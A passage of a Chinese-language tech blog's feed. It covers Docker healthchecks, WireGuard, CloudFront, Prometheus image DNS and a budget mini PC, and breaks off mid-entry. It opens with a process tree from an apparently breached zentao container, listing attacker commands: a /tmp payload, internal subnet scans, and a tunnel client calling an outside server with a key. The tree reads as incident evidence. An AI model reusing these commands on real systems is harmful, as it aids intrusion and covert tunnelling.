|-s6-supervise 01-apache&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |   `-apachectl /opt/zbox/bin/apachectl -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |       `-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |   `-sh -c ...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |       `-sh -c cd /tmp;./slix;echo 60b45fc9adc5;pwd;echo b0c6bc8c2&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |           `-slix&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |-sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |   `-scanb.sh ./scanb.sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |       `-fs -h 192.168.38.0/24 -o 192b.txt -t 5 -np ...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               |           `-8*[&amp;#123;fs&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               `-4*[&amp;#123;slix&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |   `-sh -c...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |       `-sh -c...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |           `-ns -server=176.32.35.190:8024 -vkey=82yukro912ktndfc ...&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |               `-11*[&amp;#123;ns&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           |-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  |           `-httpd -D FOREGROUND&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;  `-scanb.sh ./scanb.sh&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;      `-fs -h 192.168.39.0/24 -o 192b.txt -t 5 -np&lt;/span&gt;&lt;br&gt;&lt;span class=&quot;line&quot;&gt;          `-8*[&amp;#123;fs&amp;#125;]&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;</summary>
    
    
    
    
    <category term="docker" scheme="https://ming.theyan.gs/tags/docker/"/>
    
    <category term="zentao" scheme="https://ming.theyan.gs/tags/zentao/"/>
    
    <category term="adminer" scheme="https://ming.theyan.gs/tags/adminer/"/>
    
    <category term="phpx2lUxr" scheme="https://ming.theyan.gs/tags/phpx2lUxr/"/>
    
  </entry>
  
  <entry>
    <title>something about healthech for docker container</title>
    <link href="https://ming.theyan.gs/2024/09/something%20about%20healthcheck%20for%20Docker%20container/index.html"/>
    <id>https://ming.theyan.gs/2024/09/something%20about%20healthcheck%20for%20Docker%20container/index.html</id>
    <published>2024-09-21T11:19:27.000Z</published>
    <updated>2024-09-27T13:33:19.000Z</updated>
    
    <content type="html"><![CDATA[<p>在 Docker compose 文件里使用健康检查的方案变迁。<br>背景：小厂，用不起 kubernetes，只能自己生写 docker compose 来部署 Docker 容器。以下以一个在容器里监听 tcp 端口 8090 的服务为例来描述一下我用到过的健康检查的方案的变迁。</p><span id="more"></span><h2 id="curl"><a href="#curl" class="headerlink" title="curl"></a>curl</h2><p>文档里都讲是</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># docker compose file</span></span><br><span class="line"><span class="attr">healthcheck:</span></span><br><span class="line">    <span class="attr">test:</span> [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;curl -f http://localhost:8090/ || exit 1&quot;</span>]</span><br><span class="line">    <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="string">3s</span></span><br><span class="line">    <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">    <span class="attr">start_period:</span> <span class="string">10s</span></span><br></pre></td></tr></table></figure><p>这种方式，但是实际上，我经手的大多 image，都没有统一的健康检查 url，这样直接访问，很有可能出各种结果，返回的 return code 不是 200 的结果，这样的话，这个健康检查会过不去，但是服务却是好的。所以，经过研究，发现更好的应该是：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># docker compose file</span></span><br><span class="line"><span class="attr">healthcheck:</span></span><br><span class="line">    <span class="attr">test:</span> [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;curl -s -o /dev/null http://localhost:8090/ || exit 1&quot;</span>]</span><br><span class="line">    <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="string">3s</span></span><br><span class="line">    <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">    <span class="attr">start_period:</span> <span class="string">10s</span></span><br></pre></td></tr></table></figure><p>当然，这个解决不了一个致命问题：好些个基础 image，都不带命令 <code>curl</code>，然后我就开始了尝试下一个方案。</p><h2 id="proc-net-tcp"><a href="#proc-net-tcp" class="headerlink" title="&#x2F;proc&#x2F;net&#x2F;tcp"></a>&#x2F;proc&#x2F;net&#x2F;tcp</h2><p>服务绑定监听端口，肯定会更新 <code>/proc/net/tcp</code> 这个文件，只不过端口号得转换成十六进制。就像这样：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Docker compose file</span></span><br><span class="line"><span class="attr">healthcheck:</span></span><br><span class="line">    <span class="comment"># Check that entries for ports 8000 exist in the /proc/net/tcp file. Port 8000 is represented as :1F40.</span></span><br><span class="line">    <span class="attr">test:</span> [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;sleep 2 &amp;&amp; grep &#x27;:1F40&#x27; /proc/net/tcp&quot;</span>]</span><br><span class="line">    <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="string">5s</span></span><br><span class="line">    <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">    <span class="attr">start_period:</span> <span class="string">30s</span></span><br></pre></td></tr></table></figure><p>一直工作挺好，直到某一天我遇到一个基于 <code>openjdk:8u342</code> 的 Docker image，跑着 java 的程序，这个 java 程序监听着端口 8090，明明工作正常，但是健康检查却过不去，进到容器里一看，<code>/proc/net/tcp</code> 文件里的确没有 “:1f9a”（<code>printf &quot;%x\n&quot; 8090</code>）！</p><p>非常诡异！一顿好查。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">apt update &amp;&amp; apt install -y iproute2 procps</span><br></pre></td></tr></table></figure><p>然后：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ss -nalpt</span><br></pre></td></tr></table></figure><p>发现有</p><blockquote><p>*:8090</p></blockquote><p>但是 <code>/proc/net/tcp</code> 里始终没有 “:1f9a”，最后偶然间发现文件 <code>/proc/net/tcp6</code>，打开看：</p><blockquote><p>0: 00000000000000000000000000000000:1F9A 00000000000000000000000000000000:0000 0A 00000000:00000000</p></blockquote><p>“:1F9A” 赫然在这里！</p><p>回头找原因，只能认为是 java 程序绑定监听端口时优先绑了 IPv6 的地址，但是由于 kernel 参数：<code>net.ipv6.bindv6only=0</code> （缺省就是这样），从而绑在 IPv6 地址上的端口，在 IPv4 的地址上也能访问。</p><p>好吧，<code>/proc/net/tcp</code> 方案不是不行了，而是还要考虑到文件 <code>/proc/net/tcp6</code></p><h2 id="dev-tcp-hostname-port"><a href="#dev-tcp-hostname-port" class="headerlink" title="&#x2F;dev&#x2F;tcp&#x2F;{hostname}&#x2F;{port}"></a>&#x2F;dev&#x2F;tcp&#x2F;{hostname}&#x2F;{port}</h2><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Docker compose file</span></span><br><span class="line"><span class="attr">healthcheck:</span></span><br><span class="line">    <span class="attr">test:</span> [<span class="string">&quot;CMD-SHELL&quot;</span>, <span class="string">&quot;echo &gt; /dev/tcp/localhost/8090 || exit 1&quot;</span>]</span><br><span class="line">    <span class="attr">interval:</span> <span class="string">30s</span></span><br><span class="line">    <span class="attr">timeout:</span> <span class="string">3s</span></span><br><span class="line">    <span class="attr">retries:</span> <span class="number">3</span></span><br><span class="line">    <span class="attr">start_period:</span> <span class="string">10s</span></span><br></pre></td></tr></table></figure><p>这个方案就有一个缺点：bash 可用但 sh 下不可用</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在 Docker compose 文件里使用健康检查的方案变迁。&lt;br&gt;背景：小厂，用不起 kubernetes，只能自己生写 docker compose 来部署 Docker 容器。以下以一个在容器里监听 tcp 端口 8090 的服务为例来描述一下我用到过的健康检查的方案的变迁。&lt;/p&gt;</summary>
    
    
    
    
    <category term="docker-compose" scheme="https://ming.theyan.gs/tags/docker-compose/"/>
    
    <category term="healthcheck" scheme="https://ming.theyan.gs/tags/healthcheck/"/>
    
    <category term="curl" scheme="https://ming.theyan.gs/tags/curl/"/>
    
    <category term="ss" scheme="https://ming.theyan.gs/tags/ss/"/>
    
  </entry>
  
  <entry>
    <title>WireGuard 源 IP 地址&quot;漂移&quot;问题的前因后果</title>
    <link href="https://ming.theyan.gs/2024/08/WireGuard%20%E6%BA%90%20IP%20%E5%9C%B0%E5%9D%80%22%E6%BC%82%E7%A7%BB%22%E9%97%AE%E9%A2%98%E7%9A%84%E5%89%8D%E5%9B%A0%E5%90%8E%E6%9E%9C/index.html"/>
    <id>https://ming.theyan.gs/2024/08/WireGuard%20%E6%BA%90%20IP%20%E5%9C%B0%E5%9D%80%22%E6%BC%82%E7%A7%BB%22%E9%97%AE%E9%A2%98%E7%9A%84%E5%89%8D%E5%9B%A0%E5%90%8E%E6%9E%9C/index.html</id>
    <published>2024-08-17T13:24:36.000Z</published>
    <updated>2024-08-23T14:52:27.000Z</updated>
    
    <content type="html"><![CDATA[<p>在现代网络架构中，VPN（虚拟专用网络）技术的应用越来越广泛。本文将探讨在我司 IDC 中，使用 WireGuard 实现的 VPN 连接中遇到的一个有趣现象。</p><span id="more"></span><h2 id="场景描述"><a href="#场景描述" class="headerlink" title="场景描述"></a>场景描述</h2><p>我司在 IDC 中有一台运行 Debian 的服务器 L1，有两个上联口：E-a 和 E-b，分别连接到运营商 I-a 和 I-b。IP 地址为 ip-a 和 ip-b。L1 上的策略路由很简单：</p><ul><li>源地址为 ip-a 的数据包通过 E-a 口走 I-a</li><li>其他数据包则通过默认出口 E-b 走 I-b（源地址自然是 ip-b）</li></ul><p>此外，L1 还通过网口 E-c 连接内网，IP 地址为 ip-c。L1 上运行 WirGuard，绑定 0.0.0.0 的 udp 端口 12345。</p><p>在办公室，我司还有一台运行 Debian 的机器 L2。由于 L2 位于内网中，没有公网 IP。L2 上也运行着 WireGuard，绑定在 0.0.0.0 的（udp）端口 12345。同时，我在办公室的路由器上做了端口映射，将 udp 12345 端口映射到 L2（虽然这完全没什么用）。</p><p>L2 的 WireGuard 配置中，peer 的 endpoint 指定为 L1 的 IP 地址 ip-a。由于 L2 没有公网地址且出口地址不固定，因此在 L1 的 WireGuard 配置中并没有指定 L2 的 IP 地址。就这样，L1 和 L2 上的 WireGuard 的连接顺利建立，一切都如预期般正常运行。</p><h2 id="异常现象"><a href="#异常现象" class="headerlink" title="异常现象"></a>异常现象</h2><p>其实，L2 上还运行着一个 SmokePing，监测着 ip-a、ip-b 和 ip-c，当然也还有其他，不过那些跟这里没啥关系，也就不提了。</p><p>某天我在 Smokeping 监控中发现，ping ip-c 的（时间）值明显高于 ping ip-a 的值，且与 ping ip-b 的相近。这一现象让我感到困惑，因为到 ip-c 的数据包走的逻辑链路（通过 WireGuard 隧道）实际上应该与到 ip-a 的物理链路完全相同，所以 ping ip-c 的数据应该跟 ping ip-a 的几乎一样才对。</p><p>我的第一反应是，可能是办公室的网络接入商或 I-a 对 UDP 包进行了 QoS 限速，因为 WireGuard 使用的是 UDP 协议。经过与客服的沟通，确认并没有针对 UDP 包的限速策略。</p><p>接着，我使用 <code>iperf3</code> 在 L1 和 L2 之间进行了测速，发现走 UDP 和走 TCP 的测试结果数据引并没有显著差别，这表明问题并不在于 UDP 包有被干扰。随后，我在 L2 上使用 <code>tcpdump</code> 监听 WireGuard 的数据包，结果让我大吃一惊：所有的数据包都是与 ip-b 的端口 12345 进行交互，而不是预期中的 ip-a！这也解释了为什么 ping ip-c 的延迟与 ping ip-b 的延迟相近，因为数据实际上是通过到 ip-b 的物理链路进行的。</p><h2 id="深入分析"><a href="#深入分析" class="headerlink" title="深入分析"></a>深入分析</h2><p>面对这一现象，我感到百思不得其解。于是，我记录下当前的状况，并重启了 L2 上的 WireGuard，结果一切又都恢复正常：WireGuard 的数据交互对端 IP 变回了 ip-a，ping ip-c 的延迟也降到了与 ping ip-a 相同的水平。</p><p>进一步查阅资料后，我发现 WireGuard 具有 endpoint 自动更新的机制。虽然 L1 上没有 L2 端的 endpoint 数据，但 L2 上有 L1 的数据。当 L2 第一次连接 L1 时，L1 会记录下 L2 的 endpoint 数据。如果 L2 使用了不同的 IP 地址连接 L1，L1 会更新 L2 的 endpoint IP 地址。反之亦然。这意味着，当 L1 从 E-b 口以 ip-b 作为源地址连接 L2 时，L2 也会更新 L1 的 endpoint IP 地址。</p><p>最终，我意识到问题的根源在于 L1 突然使用源 IP 为 ip-b 从 E-b 口发送 WireGuard 数据包给 L2。期间，我发现办公网的网络曾经闪断过几分钟。真相逐渐浮出水面：当 L2 的上联公网链路断开时，L1 由于长时间未收到来自 L2 的 WireGuard 数据包，可能出于某种原因主动向 L2 发送 WireGuard 包，查找 L2 的 endpoint IP 和端口数据。此时，由于源地址未定，数据包直接通过 E-b 口发送，源地址被设为 ip-b。这些数据包持续发送到 L2，直到 L2 的上联网络恢复。L2 收到来自 ip-b 的 L1 的 WireGuard 数据包后，触发了更新 L1 的 endpoint 数据，从而开始与 L1 的 ip-b 进行 WireGuard 数据交互。</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>通过这一系列的分析，整个逻辑变得自洽了。这一现象不仅揭示了 WireGuard 的灵活性和自动化特性，也提醒我们在设计网络架构时，需考虑到各种可能的网络状态变化。希望这篇文章能为您在使用 WireGuard 或其他 VPN 技术时提供一些启示。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在现代网络架构中，VPN（虚拟专用网络）技术的应用越来越广泛。本文将探讨在我司 IDC 中，使用 WireGuard 实现的 VPN 连接中遇到的一个有趣现象。&lt;/p&gt;</summary>
    
    
    
    
    <category term="udp" scheme="https://ming.theyan.gs/tags/udp/"/>
    
    <category term="wireguard" scheme="https://ming.theyan.gs/tags/wireguard/"/>
    
    <category term="iperf3" scheme="https://ming.theyan.gs/tags/iperf3/"/>
    
    <category term="endpoint" scheme="https://ming.theyan.gs/tags/endpoint/"/>
    
    <category term="smokeping" scheme="https://ming.theyan.gs/tags/smokeping/"/>
    
    <category term="linux" scheme="https://ming.theyan.gs/tags/linux/"/>
    
  </entry>
  
  <entry>
    <title>AWS cloudfront 的一个小 bug</title>
    <link href="https://ming.theyan.gs/2024/07/the%20bug%20of%20cloudfront/index.html"/>
    <id>https://ming.theyan.gs/2024/07/the%20bug%20of%20cloudfront/index.html</id>
    <published>2024-07-19T15:24:31.000Z</published>
    <updated>2024-07-25T04:36:17.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="缘起"><a href="#缘起" class="headerlink" title="缘起"></a>缘起</h2><p>我厂有一个网站（域名 <code>a.b.com</code> 和 <code>a1.b.com</code>），原来是跑在自己 IDC 里的机器上的，用 Docker 容器跑的，容器里就一个 nginx，放了一堆的静态资源。</p><p>为了“用户体验”，这两个域名都上了 CDN（AWS 的 cloudfront），源站分别是：</p><ol><li><code>a.ori.b.com</code></li><li><code>a1.ori.b.com</code></li></ol><p>最近做了一次架构调整，把这个服务迁移到了 AWS 的 EC2 上，而且将这个服务放在了一个 ALB 的后面，这个 ALB 是启用了 cloudfront 集成的，所以，我在 route 53 上就把这两个域名都解析到了 ALB 集成的这个 cloudfront distribution 的域名上了。</p><span id="more"></span><p>然后，发现问题了。<code>a.b.com</code> 工作符合预期而 <code>a1.b.com</code> 老是返回 502 错误，而且是 cloudfront 直接返回的。</p><h2 id="排查过程"><a href="#排查过程" class="headerlink" title="排查过程"></a>排查过程</h2><p>这里就不细说了</p><h2 id="结论"><a href="#结论" class="headerlink" title="结论"></a>结论</h2><p>当你要把一个域名由传统 cloudfront 上迁移到 ALB 集成的 cloudfront 的时候，你多半要小心了，如果你忘了把之前的 cloudfront distribution 的话，迁移可能会达不到你预期的效果的。也就是说，这个域名在 cloudfront 上还是会走之前的配置！哪怕你的域名已经正确指向了 ALB 集成的 cloudfront distribution.</p><h2 id="多说几句"><a href="#多说几句" class="headerlink" title="多说几句"></a>多说几句</h2><p>我上面的这个例子里，其实最早两个域名都是有问题的，但为什么有一个没有暴露出来呢，那是因为每暴露出来的这个，之前的 cloudfront distribution 到源站什么都是好的，所以他走原来的配置也没问题，但另外一个由于源站的域名指向被删除，所以原配置就无法工作了，才暴露出问题的。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;缘起&quot;&gt;&lt;a href=&quot;#缘起&quot; class=&quot;headerlink&quot; title=&quot;缘起&quot;&gt;&lt;/a&gt;缘起&lt;/h2&gt;&lt;p&gt;我厂有一个网站（域名 &lt;code&gt;a.b.com&lt;/code&gt; 和 &lt;code&gt;a1.b.com&lt;/code&gt;），原来是跑在自己 IDC 里的机器上的，用 Docker 容器跑的，容器里就一个 nginx，放了一堆的静态资源。&lt;/p&gt;
&lt;p&gt;为了“用户体验”，这两个域名都上了 CDN（AWS 的 cloudfront），源站分别是：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;a.ori.b.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;a1.ori.b.com&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;最近做了一次架构调整，把这个服务迁移到了 AWS 的 EC2 上，而且将这个服务放在了一个 ALB 的后面，这个 ALB 是启用了 cloudfront 集成的，所以，我在 route 53 上就把这两个域名都解析到了 ALB 集成的这个 cloudfront distribution 的域名上了。&lt;/p&gt;</summary>
    
    
    
    
    <category term="aws" scheme="https://ming.theyan.gs/tags/aws/"/>
    
    <category term="cloudfront" scheme="https://ming.theyan.gs/tags/cloudfront/"/>
    
    <category term="ALB" scheme="https://ming.theyan.gs/tags/ALB/"/>
    
  </entry>
  
  <entry>
    <title>Prometheus 官方 Docker image 的一个 bug</title>
    <link href="https://ming.theyan.gs/2024/06/Prometheus%20%E5%AE%98%E6%96%B9%20Docker%20image%20%E7%9A%84%E4%B8%80%E4%B8%AA%20bug/index.html"/>
    <id>https://ming.theyan.gs/2024/06/Prometheus%20%E5%AE%98%E6%96%B9%20Docker%20image%20%E7%9A%84%E4%B8%80%E4%B8%AA%20bug/index.html</id>
    <published>2024-06-17T11:35:42.000Z</published>
    <updated>2024-06-21T11:27:33.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>最近发现了一个 Prometheus 官方 Docker image(<code>https://hub.docker.com/u/prom</code>) 生成的容器不能解析同一个 自定义 bridge 上的其他 Docker 容器的容器名的问题。</p><span id="more"></span><h2 id="一些情况"><a href="#一些情况" class="headerlink" title="一些情况"></a>一些情况</h2><ol><li>我的环境是 PVE 7.* 里的一个 vm，跑的操作系统是 Debian 12(bookworm)，docker 版本是 28.0.2</li><li>多个容器公用的是一个较 bridge111 的 自定义 bridge，地址段是：172.18.0.0&#x2F;16</li><li>其中还跑的有 grafana 官方的容器：grafana 和 loki，从这两个容器里可以正确解析其他所有 bridge111 下的容器的容器名</li><li>prometheus 官方 docker image 的容器，都不能正确解析 bridge111 下所有容器的容器名(会出 “bad address” 的报错提示)，但是能正确解析互联网域名，比如 baidu.com</li><li>发现 prometheus 的这一些 docker image 都是基于 <code>quay.io/prometheus/busybox</code>，而 <code>quay.io/prometheus/busybox</code> 又是指向的 <code>quay.io/prometheus/busybox:uclibc</code>，<code>quay.io/prometheus/busybox:uclibc</code> 基于的 <code>busybox:uclibc</code></li><li>用 <code>quay.io/prometheus/busybox:uclibc</code> 创建容器试了一下，果然不能解析容器名，但可以解析互联网域名</li><li>用 <code>quay.io/prometheus/busybox:glibc</code> 试了一下，则没有任何问题</li><li>再用 <code>busybox:uclibc</code> 试了一下，也不行，都是 “bad address”</li></ol><p>所以差不多水落石出，<code>busybox:uclibc</code> 这个 image 的锅。</p><h2 id="环境介绍"><a href="#环境介绍" class="headerlink" title="环境介绍"></a>环境介绍</h2><p>BTW,  我的版本如下：</p><ul><li>Debian 12(bookworm)</li><li>kernel 6.1.0</li><li>docker 28.0.2</li><li>prometheus: v2.53.4</li><li>alertmanager: v0.27.0</li><li>blackbox-exporter: v0.25.0</li><li>snmp-exporter: v0.28.0</li></ul><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><ul><li><code>https://github.com/prometheus/busybox/issues/18</code></li></ul>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;简介&quot;&gt;&lt;a href=&quot;#简介&quot; class=&quot;headerlink&quot; title=&quot;简介&quot;&gt;&lt;/a&gt;简介&lt;/h2&gt;&lt;p&gt;最近发现了一个 Prometheus 官方 Docker image(&lt;code&gt;https://hub.docker.com/u/prom&lt;/code&gt;) 生成的容器不能解析同一个 自定义 bridge 上的其他 Docker 容器的容器名的问题。&lt;/p&gt;</summary>
    
    
    
    
    <category term="glibc" scheme="https://ming.theyan.gs/tags/glibc/"/>
    
    <category term="docker" scheme="https://ming.theyan.gs/tags/docker/"/>
    
    <category term="prometheus" scheme="https://ming.theyan.gs/tags/prometheus/"/>
    
    <category term="image" scheme="https://ming.theyan.gs/tags/image/"/>
    
    <category term="busybox" scheme="https://ming.theyan.gs/tags/busybox/"/>
    
    <category term="uclibc" scheme="https://ming.theyan.gs/tags/uclibc/"/>
    
    <category term="quay.io" scheme="https://ming.theyan.gs/tags/quay-io/"/>
    
    <category term="alertmanager" scheme="https://ming.theyan.gs/tags/alertmanager/"/>
    
    <category term="blackbox-exporter" scheme="https://ming.theyan.gs/tags/blackbox-exporter/"/>
    
    <category term="snmp-exporter" scheme="https://ming.theyan.gs/tags/snmp-exporter/"/>
    
  </entry>
  
  <entry>
    <title>800 块钱的办公电脑</title>
    <link href="https://ming.theyan.gs/2024/05/800%20%E5%9D%97%E9%92%B1%E7%9A%84%E5%8A%9E%E5%85%AC%E7%94%B5%E8%84%91/index.html"/>
    <id>https://ming.theyan.gs/2024/05/800%20%E5%9D%97%E9%92%B1%E7%9A%84%E5%8A%9E%E5%85%AC%E7%94%B5%E8%84%91/index.html</id>
    <published>2024-05-12T14:32:47.000Z</published>
    <updated>2024-05-13T11:36:12.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="我用-800-块钱买了台办公用的-Mini-PC"><a href="#我用-800-块钱买了台办公用的-Mini-PC" class="headerlink" title="我用 800 块钱买了台办公用的 Mini PC"></a>我用 800 块钱买了台办公用的 Mini PC</h1><p>最近，我花了 800 块钱买了一台 Mini PC，用来办公。刚好这四个月在公司领到的每月 200 块钱电脑补贴，全都花光了。算是“取之于公司，用之于公司”吧，哈哈。</p><p>这次的购买经历不仅让我更深刻地体会到“消费降级”的现实，还让我感受到了科技进步所带来的性价比红利。在预算有限的情况下，这台 Mini PC 不仅完美满足了我的日常需求，还让我对它的未来用途充满期待。接下来，我详细聊聊这次购买的选择过程、使用体验以及相关感悟。</p><span id="more"></span><h2 id="配置与硬件概览"><a href="#配置与硬件概览" class="headerlink" title="配置与硬件概览"></a>配置与硬件概览</h2><p>这台 Mini PC 的硬件配置如下：</p><ul><li><strong>CPU</strong>: Intel 第 12 代 N100<ul><li>4 核心</li><li>缺省运行在 <strong>0.8 GHz</strong> 的低功耗模式，但睿频最高可达 <strong>3.4 GHz</strong></li></ul></li><li><strong>内存</strong>: <strong>DDR4</strong>，主频未知</li><li><strong>存储</strong>: <strong>M.2 2280 PCIe SSD</strong>，容量 512 GB</li><li><strong>网络</strong>: 双频 WiFi（2.4G+5G）+ 蓝牙</li><li><strong>其他物理接口</strong>:<ul><li><strong>USB3.2</strong> × 2</li><li><strong>USB2.0</strong> × 2</li><li><strong>耳机接口</strong> × 1</li><li><strong>千兆以太网卡</strong> × 1</li><li><strong>HDMI</strong> × 1</li><li><strong>DP（DisplayPort）</strong> × 1</li></ul></li></ul><p>此外，它的体积和重量也非常小巧：</p><ul><li>尺寸：<strong>124.5 x 112 x 50.8 mm</strong></li><li>重量：约 <strong>400 克</strong></li></ul><p>整机可以轻松放在桌面的一角，或者显示器下面的空隙。</p><h2 id="系统选择与使用体验"><a href="#系统选择与使用体验" class="headerlink" title="系统选择与使用体验"></a>系统选择与使用体验</h2><p>拿到手后，我给这台 Mini PC 装了 <strong>Debian testing</strong> 系统，当前版本是 <strong>Debian 13</strong>，字母代号 <strong>trixie</strong>，桌面环境选择了轻量的 <strong>XFCE</strong>。安装过程非常顺利，硬件驱动几乎开箱即用，尤其是 WiFi 和蓝牙的兼容性让我非常满意。</p><p>但是装完以后进入桌面发现 wifi 用不了。可能是安装时没选相关 non-free 的包的问题吧。但是经过简单的排错、下载了一个 <a href="https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-so-a0-jf-b0-77.ucode">https://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git/tree/iwlwifi-so-a0-jf-b0-77.ucode</a> 放到 &#x2F;usr&#x2F;lib&#x2F;firmware&#x2F; 目录下以后就好了。</p><p>下面是一张我使用 <strong>neofetch</strong> 工具查看系统和硬件信息的截图：</p><p><img src="https://raw.githubusercontent.com/haw-haw/image-hosting/master/img/Screenshot%202024-11-30%20at%2012.33.08.jpg" alt="neofetch 系统信息"></p><p>从图中可以清晰看到系统的核心信息：</p><ul><li><strong>系统</strong>: Debian GNU&#x2F;Linux trixie&#x2F;sid x86_64</li><li><strong>内核</strong>: 6.11.7-amd64</li><li><strong>运行时间</strong>: 已开机 7 天 19 小时</li><li><strong>CPU</strong>: Intel N100 (4 核 @ 3.4 GHz)</li><li><strong>GPU</strong>: Intel Alder Lake-N UHD Graphics</li><li><strong>内存使用</strong>: 11.88 GB &#x2F; 15.70 GB</li></ul><h2 id="选择-Mini-PC-的理由"><a href="#选择-Mini-PC-的理由" class="headerlink" title="选择 Mini PC 